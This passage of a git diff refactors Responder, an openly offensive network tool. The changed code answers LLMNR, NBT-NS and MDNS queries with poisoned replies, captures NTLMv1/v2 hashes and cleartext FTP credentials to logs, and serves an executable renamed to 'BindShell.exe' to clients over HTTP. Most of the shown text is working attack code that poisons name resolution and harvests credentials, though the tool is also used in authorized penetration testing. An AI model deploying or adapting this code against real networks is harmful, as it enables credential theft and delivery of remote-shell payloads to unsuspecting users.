-Message += '    %-25s' % "SMB server" + (enabled if settings.Config.SMB_On_Off else disabled)
-Message += '    %-25s' % "Kerberos server" + (enabled if settings.Config.Krb_On_Off else disabled)
-Message += '    %-25s' % "SQL server" + (enabled if settings.Config.SQL_On_Off else disabled)
-Message += '    %-25s' % "FTP server" + (enabled if settings.Config.FTP_On_Off else disabled)
-Message += '    %-25s' % "IMAP server" + (enabled if settings.Config.IMAP_On_Off else disabled)
-Message += '    %-25s' % "POP3 server" + (enabled if settings.Config.POP_On_Off else disabled)
-Message += '    %-25s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled)
-Message += '    %-25s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled)
-Message += '    %-25s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled) + "\n"
-
-Message += color("[*] ", 2, 1) + "HTTP Options:\n"
-Message += '    %-25s' % "Serving executable" + (enabled if settings.Config.Exe_On_Off else disabled)
-Message += '    %-25s' % "Serving specific file" + (enabled if settings.Config.Exec_Mode_On_Off else disabled)
-Message += '    %-25s' % "Upstream Proxy" + (enabled if settings.Config.Upstream_Proxy else disabled) + "\n"
-#Message += '    %-25s' % "WPAD script" + settings.Config.WPAD_Script + "\n\n"
-
-Message += color("[*] ", 2, 1) + "Poisoning Options:\n"
-Message += '    %-25s' % "Force WPAD auth" + (enabled if settings.Config.Force_WPAD_Auth else disabled)
-Message += '    %-25s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled)
-Message += '    %-25s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled)
-Message += '    %-25s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled) +"\n"
-
-Message += color("[*] ", 2, 1) + "Generic Options:\n"
-Message += '    %-25s' % "Responder NIC" + color('[%s]' % settings.Config.BIND_TO_Interface, 3, 1) + "\n"
-Message += '    %-25s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 3, 1) + "\n"
-if settings.Config.Upstream_Proxy:
-	Message += '    %-25s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 3, 1) + "\n"
-if len(settings.Config.DontRespondTo):
-	Message += '    %-25s' % "Don't Respond To" + color(settings.Config.DontRespondTo, 3, 1) + "\n"
-
-print Message
+settings.Config.ExpandIPRanges()
 
 if settings.Config.AnalyzeMode:
 	print color('[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1)
 
-print color('[*]', 2, 1) + " Listening for events..."
-
 class ThreadingUDPServer(ThreadingMixIn, UDPServer):
 	def server_bind(self):
 		if OsInterfaceIsSupported():
 			try:
-				self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.BIND_TO_Interface+'\0')
+				self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
 			except:
 				pass
 		UDPServer.server_bind(self)
@@ -122,7 +66,7 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer):
 	def server_bind(self):
 		if OsInterfaceIsSupported():
 			try:
-				self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.BIND_TO_Interface+'\0')
+				self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
 			except:
 				pass
 		TCPServer.server_bind(self)
@@ -138,7 +82,7 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
 
 		if OsInterfaceIsSupported():
 			try:
-				self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.BIND_TO_Interface+'\0')
+				self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
 			except:
 				pass
 		UDPServer.server_bind(self)
@@ -154,7 +98,7 @@ class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
 		
 		if OsInterfaceIsSupported():
 			try:
-				self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.BIND_TO_Interface+'\0')
+				self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
 			except:
 				pass
 		UDPServer.server_bind(self)
@@ -164,13 +108,12 @@ ThreadingTCPServer.allow_reuse_address = 1
 ThreadingUDPMDNSServer.allow_reuse_address = 1
 ThreadingUDPLLMNRServer.allow_reuse_address = 1
 
-# Poisoners have to listen on 0.0.0.0 to receive broadcast traffic
 def serve_thread_udp_broadcast(host, port, handler):
 	try:
 		server = ThreadingUDPServer(('', port), handler)
 		server.serve_forever()
 	except:
-		print color("[*] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."
+		print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."
 
 def serve_NBTNS_poisoner(host, port, handler):
 	serve_thread_udp_broadcast(host, port, handler)
@@ -180,52 +123,49 @@ def serve_MDNS_poisoner(host, port, handler):
 		server = ThreadingUDPMDNSServer((host, port), handler)
 		server.serve_forever()
 	except:
-		print color("[*] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."
+		print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."
 
 def serve_LLMNR_poisoner(host, port, handler):
-	try:
+	#try:
 		server = ThreadingUDPLLMNRServer((host, port), handler)
 		server.serve_forever()
-	except:
-		print color("[*] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."
+	#except:
+	#	print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."
 
 def serve_thread_udp(host, port, handler):
 	try:
 		if OsInterfaceIsSupported():
-			IP = FindLocalIP(settings.Config.BIND_TO_Interface)
-			server = ThreadingUDPServer((IP, port), handler)
+			server = ThreadingUDPServer((settings.Config.Bind_To, port), handler)
 			server.serve_forever()
 		else:
 			server = ThreadingUDPServer((host, port), handler)
 			server.serve_forever()
 	except:
-		print color("[*] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."
+		print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."
 
 def serve_thread_tcp(host, port, handler):
 	try:
 		if OsInterfaceIsSupported():
-			IP = FindLocalIP(settings.Config.BIND_TO_Interface)
-			server = ThreadingTCPServer((IP, port), handler)
+			server = ThreadingTCPServer((settings.Config.Bind_To, port), handler)
 			server.serve_forever()
 		else:
 			server = ThreadingTCPServer((host, port), handler)
 			server.serve_forever()
 	except:
-		print color("[*] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running."
+		print color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running."
 
 def serve_thread_SSL(host, port, handler):
-	#try:
+	try:
 		from servers.HTTP import SSLSock
 
 		if OsInterfaceIsSupported():
-			IP = FindLocalIP(settings.Config.BIND_TO_Interface)
-			server = SSLSock((IP, port), handler)
+			server = SSLSock((settings.Config.Bind_To, port), handler)
 			server.serve_forever()
 		else:
 			server = SSLSock((host, port), handler)
 			server.serve_forever()
-	#except:
-		print color("[*] ", 1, 1) + "Error starting SSL server on port " + str(port) + ", check permissions or other servers running."
+	except:
+		print color("[!] ", 1, 1) + "Error starting SSL server on port " + str(port) + ", check permissions or other servers running."
 
 def main():
 	try:
@@ -286,7 +226,7 @@ def main():
 
 		if settings.Config.SMTP_On_Off:
 			from servers.SMTP import ESMTP
-			thread.start_new(serve_thread_tcp,('', 25, ESMTP))
+			thread.start_new(serve_thread_tcp,('', 25,  ESMTP))
 			thread.start_new(serve_thread_tcp,('', 587, ESMTP))
 
 		if settings.Config.IMAP_On_Off:
@@ -298,11 +238,14 @@ def main():
 			thread.start_new(serve_thread_udp,('', 53, DNS))
 			thread.start_new(serve_thread_tcp,('', 53, DNSTCP))
 
+
+		print color('[+]', 2, 1) + " Listening for events..."
+
 		while True:
 			time.sleep(1)
 
 	except KeyboardInterrupt:
-		sys.exit("\r%s Exiting..." % color('[*]', 2, 1))
+		sys.exit("\r%s Exiting..." % color('[+]', 2, 1))
 
 if __name__ == '__main__':
 	main()
diff --git a/Certs/gen-self-signed-cert.sh b/certs/gen-self-signed-cert.sh
similarity index 100%
rename from Certs/gen-self-signed-cert.sh
rename to certs/gen-self-signed-cert.sh
diff --git a/Certs/responder.crt b/certs/responder.crt
similarity index 100%
rename from Certs/responder.crt
rename to certs/responder.crt
diff --git a/Certs/responder.key b/certs/responder.key
similarity index 100%
rename from Certs/responder.key
rename to certs/responder.key
diff --git a/Denied.html b/files/AccessDenied.html
similarity index 100%
rename from Denied.html
rename to files/AccessDenied.html
diff --git a/FixInternet.exe b/files/BindShell.exe
old mode 100755
new mode 100644
similarity index 100%
rename from FixInternet.exe
rename to files/BindShell.exe
diff --git a/Fingerprint.py b/fingerprint.py
similarity index 97%
rename from Fingerprint.py
rename to fingerprint.py
index e3ca02c..a4a47b8 100644
--- a/Fingerprint.py
+++ b/fingerprint.py
@@ -65,5 +65,5 @@ def RunSmbFinger(host):
 		if data[8:10] == "\x73\x16":
 			return OsNameClientVersion(data)
 	except:
-		print color("[*] ", 1, 1) +" Fingerprint failed"
+		print color("[!] ", 1, 1) +" Fingerprint failed"
 		return None
diff --git a/packets.py b/packets.py
index 7a801f3..980bf2e 100644
--- a/packets.py
+++ b/packets.py
@@ -1,3 +1,19 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
 import struct
 import settings
 
@@ -258,7 +274,7 @@ class WPADScript(Packet):
 	def calculate(self):
 		self.fields["ActualLen"] = len(str(self.fields["Payload"]))
 
-class ServerExeFile(Packet):
+class ServeExeFile(Packet):
 	fields = OrderedDict([
 		("Code",          "HTTP/1.1 200 OK\r\n"),
 		("ContentType",   "Content-Type: application/octet-stream\r\n"),
@@ -278,30 +294,7 @@ class ServerExeFile(Packet):
 	def calculate(self):
 		self.fields["ActualLen"] = len(str(self.fields["Payload"]))
 
-class ServeAlwaysExeFile(Packet):
-	fields = OrderedDict([
-		("Code",          "HTTP/1.1 200 OK\r\n"),
-		("ContentType",   "Content-Type: application/octet-stream\r\n"),
-		("LastModified",  "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
-		("AcceptRanges",  "Accept-Ranges: bytes\r\n"),
-		("Server",        "Server: Microsoft-IIS/7.5\r\n"),
-		("PoweredBy",     "X-Powered-By: ASP.NET\r\n"),
-		("ContentDisp",   "Content-Disposition: attachment; filename="),
-		("ContentDiFile", ""),
-		("FileCRLF",      ";\r\n"),
-		("ContentLen",    "Content-Length: "),
-		("ActualLen",     "76"), 
-		("Date",          "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
-		("Connection",    "Connection: keep-alive\r\n"),
-		("X-CCC",         "US\r\n"),
-		("X-CID",         "2\r\n"),
-		("CRLF",          "\r\n"),
-		("Payload",       "jj"),
-	])
-	def calculate(self):
-		self.fields["ActualLen"] = len(str(self.fields["Payload"]))
-
-class ServeAlwaysNormalFile(Packet):
+class ServeHtmlFile(Packet):
 	fields = OrderedDict([
 		("Code",          "HTTP/1.1 200 OK\r\n"),
 		("ContentType",   "Content-Type: text/html\r\n"),
diff --git a/poisoners/LLMNR.py b/poisoners/LLMNR.py
index de091e2..070640f 100644
--- a/poisoners/LLMNR.py
+++ b/poisoners/LLMNR.py
@@ -1,3 +1,19 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
 import socket
 import struct
 import settings
@@ -31,21 +47,14 @@ def IsICMPRedirectPlausible(IP):
 			dnsip.extend(ip[1:])
 	for x in dnsip:
 		if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False:
-			print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5, 0)
-			print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5, 0)
-			print color("[Analyze mode: ICMP] Use python Icmp-Redirect.py for more details.", 5, 0)
+			print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5)
+			print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5)
+			print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5)
 		else:
 			pass
 
-def AnalyzeICMPRedirect():
-	if settings.Config.Responder_IP is not None and settings.Config.Interface == 'Not set':
-		IsICMPRedirectPlausible(settings.Config.Responder_IP)
-
-	if settings.Config.Interface != 'Not set':
-		IsICMPRedirectPlausible(FindLocalIP(settings.Config.Interface))
-
 if settings.Config.AnalyzeMode:
-	AnalyzeICMPRedirect()
+	AnalyzeICMPRedirect(settings.Config.Bind_To)
 
 # LLMNR Server class
 class LLMNR(BaseRequestHandler):
@@ -67,7 +76,6 @@ class LLMNR(BaseRequestHandler):
 
 			# Analyze Mode
 			if settings.Config.AnalyzeMode:
-				Filename   = settings.Config.AnalyzeFilename
 				LineHeader = "[Analyze mode: LLMNR]"
 				print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
 
@@ -76,69 +84,10 @@ class LLMNR(BaseRequestHandler):
 				Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
 				Buffer.calculate()
 				soc.sendto(str(Buffer), self.client_address)
-
-				Filename   = settings.Config.Log2Filename
-				LineHeader = "[LLMNR]"
+				LineHeader = "[*] [LLMNR]"
 
 				print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
 
 			if Finger is not None:
-				print text("%s [FINGER] OS Version     : %s" % (LineHeader, color(Finger[0], 3, 0)))
-				print text("%s [FINGER] Client Version : %s" % (LineHeader, color(Finger[1], 3, 0)))
-
-
-"""
-# LLMNR Server class.
-class LLMNR(BaseRequestHandler):
-
-	def handle(self):
-		data, soc = self.request
-		try:
-			if data[2:4] == "\x00\x00":
-				if Parse_IPV6_Addr(data):
-					Name = Parse_LLMNR_Name(data)
-					
-					if settings.Config.AnalyzeMode and settings.Config.Finger_On_Off:
-
-						Message = "[Analyze mode: LLMNR] Host: %-15s  Request: %s." % (color(self.client_address[0], 3, 0), color(Name, 3, 0))
-
-						if PrintLLMNRNBTNS(settings.Config.AnalyzeFilename, Message):
-							print text(Message)
-					
-						try:
-							Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
-							print text("[Analyze mode: FINGER] OS: %s, Client: %s" % (color(Finger[0], 3, 0), color(Finger[1], 3, 0)))
-
-						except Exception:
-							print text("[Analyze mode: FINGER] Fingerprint failed for host %s." % color(Name, 3, 0))
-
-
-					
-					if settings.Config.AnalyzeMode == False:
-
-
-
-								buff = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
-								buff.calculate()
-								soc.sendto(str(buff), self.client_address)
-								
-								Message = "[LLMNR] Poisoned answer sent to host: %-15s  Request: %s." % (color(self.client_address[0], 3, 0), color(Name, 3, 0))
-
-								if PrintLLMNRNBTNS(settings.Config.Log2Filename, Message):
-									print text(Message)
-								
-								if settings.Config.Finger_On_Off:
-									try:
-										Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
-										print text('[FINGER] OS: %s, Client: %s' % (color(Finger[0], 3, 0), color(Finger[1], 3, 0)))
-
-									except Exception:
-										print text('[FINGER] Fingerprint failed for host: %s' % color(Name, 3, 0))
-										pass
-					
-
-			else:
-				pass
-		except:
-			raise
-"""
+				print text("[FINGER] OS Version     : %s" % color(Finger[0], 3))
+				print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
diff --git a/poisoners/MDNS.py b/poisoners/MDNS.py
index da1db05..f1c2164 100644
--- a/poisoners/MDNS.py
+++ b/poisoners/MDNS.py
@@ -1,3 +1,19 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
 import struct
 import settings
 import socket
@@ -37,18 +53,18 @@ class MDNS(BaseRequestHandler):
 			# Analyze
 			if settings.Config.AnalyzeMode:
 				if Parse_IPV6_Addr(data):
-					print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3, 0), color(Request_Name, 3, 0)))
+					print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))
 
+			# Poisoning Mode
 			else:
-				# Send poisoned packet
 				if Parse_IPV6_Addr(data):
 					
 					Poisoned_Name = Poisoned_MDNS_Name(data)
-					Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=socket.inet_aton(settings.Config.Responder_IP))
+					Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=socket.inet_aton(settings.Config.Bind_To))
 					Buffer.calculate()
 					soc.sendto(str(Buffer), (MADDR, MPORT))
 					
-					print color('[MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)
+					print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)
 
 		except Exception:
 			raise
\ No newline at end of file
diff --git a/poisoners/NBTNS.py b/poisoners/NBTNS.py
index 69b8cf3..34407a5 100644
--- a/poisoners/NBTNS.py
+++ b/poisoners/NBTNS.py
@@ -1,3 +1,19 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
 import socket
 import settings
 import string
@@ -76,7 +92,6 @@ class NBTNS(BaseRequestHandler):
 
 			# Analyze Mode
 			if settings.Config.AnalyzeMode:
-				Filename   = settings.Config.AnalyzeFilename
 				LineHeader = "[Analyze mode: NBT-NS]"
 				print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
 
@@ -85,12 +100,10 @@ class NBTNS(BaseRequestHandler):
 				Buffer = NBT_Ans()
 				Buffer.calculate(data)
 				socket.sendto(str(Buffer), self.client_address)
-
-				Filename   = settings.Config.Log2Filename
-				LineHeader = "[NBT-NS]"
+				LineHeader = "[*] [NBT-NS]"
 
 				print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1)
 
 			if Finger is not None:
-				print text("%s [FINGER] OS Version     : %s" % (LineHeader, color(Finger[0], 3, 0)))
-				print text("%s [FINGER] Client Version : %s" % (LineHeader, color(Finger[1], 3, 0)))
+				print text("[FINGER] OS Version     : %s" % color(Finger[0], 3))
+				print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
diff --git a/servers/Browser.py b/servers/Browser.py
index 787c053..664342b 100644
--- a/servers/Browser.py
+++ b/servers/Browser.py
@@ -1,3 +1,19 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
 import socket
 import struct
 import settings
@@ -191,8 +207,6 @@ class Browser(BaseRequestHandler):
 		try:
 			request, socket = self.request
 
-			#print hexdump(request)
-
 			if settings.Config.AnalyzeMode:
 				ParseDatagramNBTNames(request,self.client_address[0])
 				BecomeBackup(request,self.client_address[0])
diff --git a/servers/DNS.py b/servers/DNS.py
index 1dd172f..c856cb0 100644
--- a/servers/DNS.py
+++ b/servers/DNS.py
@@ -1,3 +1,19 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
 import re
 
 from packets import DNS_Ans
diff --git a/servers/FTP.py b/servers/FTP.py
index 53efb23..6fb118b 100644
--- a/servers/FTP.py
+++ b/servers/FTP.py
@@ -1,3 +1,19 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
 import os
 import settings
 
@@ -8,8 +24,6 @@ from utils import *
 class FTP(BaseRequestHandler):
 
 	def handle(self):
-		Outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "FTP-Clear-Text-Password-%s.txt" % self.client_address[0])
-		
 		try:
 			self.request.send(str(FTPPacket()))
 			data = self.request.recv(1024)
@@ -31,7 +45,7 @@ class FTP(BaseRequestHandler):
 				self.request.send(str(Packet))
 				data = self.request.recv(1024)
 
-				WriteData(Outfile,User+":"+Pass, User+":"+Pass)
+				WriteData(settings.Config.FTPLog % self.client_address[0], User+":"+Pass, User+":"+Pass)
 
 			else :
 				Packet = FTPPacket(Code="502",Message="Command not implemented.")
diff --git a/servers/HTTP.py b/servers/HTTP.py
index e4c9b94..6a619be 100644
--- a/servers/HTTP.py
+++ b/servers/HTTP.py
@@ -1,3 +1,19 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
 import os
 import struct
 import settings
@@ -8,7 +24,7 @@ from utils import *
 
 from packets import NTLM_Challenge
 from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans
-from packets import WPADScript, ServerExeFile, ServeAlwaysExeFile, ServeAlwaysNormalFile
+from packets import WPADScript, ServeExeFile, ServeHtmlFile
 
 
 # Parse NTLMv1/v2 hash.
@@ -29,16 +45,14 @@ def ParseHTTPHash(data,client):
 		HostNameLen     = struct.unpack('<H',data[46:48])[0]
 		HostNameOffset  = struct.unpack('<H',data[48:50])[0]
 		HostName        = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
-		outfile         = os.path.join(settings.Config.ResponderPATH, 'logs', "HTTP-NTLMv1-Client-%s.txt" % client)
 
-		if PrintData(outfile, User+"::"+HostName):
-			print text("[HTTP] NTLMv1 Client   : %s" % client)
-			print text("[HTTP] NTLMv1 Hostname : %s" % HostName)
-			print text("[HTTP] NTLMv1 User     : %s" % User)
-			print text("[HTTP] NTLMv1 Hash     : %s" % LMHash+":"+NTHash)
-			
-			WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, settings.Config.NumChal)
-			WriteData(outfile, WriteHash, User+"::"+HostName)
+		print text("[HTTP] NTLMv1 Client   : %s" % client)
+		print text("[HTTP] NTLMv1 Hostname : %s" % HostName)
+		print text("[HTTP] NTLMv1 User     : %s" % User)
+		print text("[HTTP] NTLMv1 Hash     : %s" % LMHash+":"+NTHash)
+		
+		WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, settings.Config.NumChal)
+		WriteData(settings.Config.HTTPNTLMv1Log % client, WriteHash, User+"::"+HostName)
 
 	if NthashLen > 24:
 		NthashLen      = 64
@@ -48,16 +62,14 @@ def ParseHTTPHash(data,client):
 		HostNameLen    = struct.unpack('<H',data[44:46])[0]
 		HostNameOffset = struct.unpack('<H',data[48:50])[0]
 		HostName       = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
-		outfile        = os.path.join(settings.Config.ResponderPATH, 'logs', "HTTP-NTLMv2-Client-%s.txt" % client)
 		
-		if PrintData(outfile,User+"::"+Domain):
-			print text("[HTTP] NTLMv2 Client   : %s" % client)
-			print text("[HTTP] NTLMv2 Hostname : %s" % HostName)
-			print text("[HTTP] NTLMv2 User     : %s" % Domain+"\\"+User)
-			print text("[HTTP] NTLMv2 Hash     : %s" % NTHash[:32]+":"+NTHash[32:])
-			
-			WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
-			WriteData(outfile,WriteHash, User+"::"+Domain)
+		print text("[HTTP] NTLMv2 Client   : %s" % client)
+		print text("[HTTP] NTLMv2 Hostname : %s" % HostName)
+		print text("[HTTP] NTLMv2 User     : %s" % Domain+"\\"+User)
+		print text("[HTTP] NTLMv2 Hash     : %s" % NTHash[:32]+":"+NTHash[32:])
+		
+		WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
+		WriteData(settings.Config.HTTPNTLMv2Log % client, WriteHash, User+"::"+HostName)
 
 def GrabCookie(data,host):
 	Cookie = re.search('(Cookie:*.\=*)[^\r\n]*', data)
@@ -88,13 +100,24 @@ def WpadCustom(data, client):
 	else:
 		return False
 
-def ServeEXE(data, client, Filename):
-	print text("[HTTP] Sent file %s to %s" % (Filename, client))
+def ServeFile(Filename):
 	with open (Filename, "rb") as bk:
 		data = bk.read()
 		bk.close()
 		return data
 
+def RespondWithFile(client, filename):
+	
+	if filename.endswith('.exe'):
+		Buffer = ServeExeFile(Payload = ServeFile(filename))
+	else:
+		Buffer = ServeHtmlFile(Payload = ServeFile(filename))
+
+	Buffer.calculate()
+	print text("[HTTP] Sending file %s to %s" % (filename, client))
+
+	return str(Buffer)
+
 def GrabURL(data, host):
 	GET = re.findall('(?<=GET )[^HTTP]*', data)
 	POST = re.findall('(?<=POST )[^HTTP]*', data)
@@ -109,25 +132,17 @@ def GrabURL(data, host):
 			print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip())
 
 # Handle HTTP packet sequence.
-def PacketSequence(data,client):
+def PacketSequence(data, client):
 	NTLM_Auth = re.findall('(?<=Authorization: NTLM )[^\\r]*', data)
 	Basic_Auth = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
 
-	if settings.Config.Exe_On_Off == True and re.findall('.exe', data):
-		Buffer = ServerExeFile(Payload = ServeEXE(data,client,settings.Config.HtmlFilename),filename=settings.Config.HtmlFilename)
-		Buffer.calculate()
-		return str(Buffer)
+	# Send the .exe if needed
+	if settings.Config.Serve_Always == True or (settings.Config.Serve_Exe == True and re.findall('.exe', data)):
+		return RespondWithFile(client, settings.Config.Exe_Filename)
 
-	if settings.Config.Exec_Mode_On_Off == True:
-		if settings.Config.Exe_Filename.endswith('.exe'):
-			Buffer = ServeAlwaysExeFile(Payload = ServeEXE(data,client,settings.Config.Exe_Filename),ContentDiFile=settings.Config.Exe_Filename)
-			Buffer.calculate()
-			return str(Buffer)
-
-		else:
-			Buffer = ServeAlwaysNormalFile(Payload = ServeEXE(data,client,settings.Config.Exe_Filename))
-			Buffer.calculate()
-			return str(Buffer)
+	# Send the custom HTML if needed
+	if settings.Config.Serve_Html == True:
+		return RespondWithFile(client, settings.Config.Html_Filename)
 
 	if NTLM_Auth:
 		Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
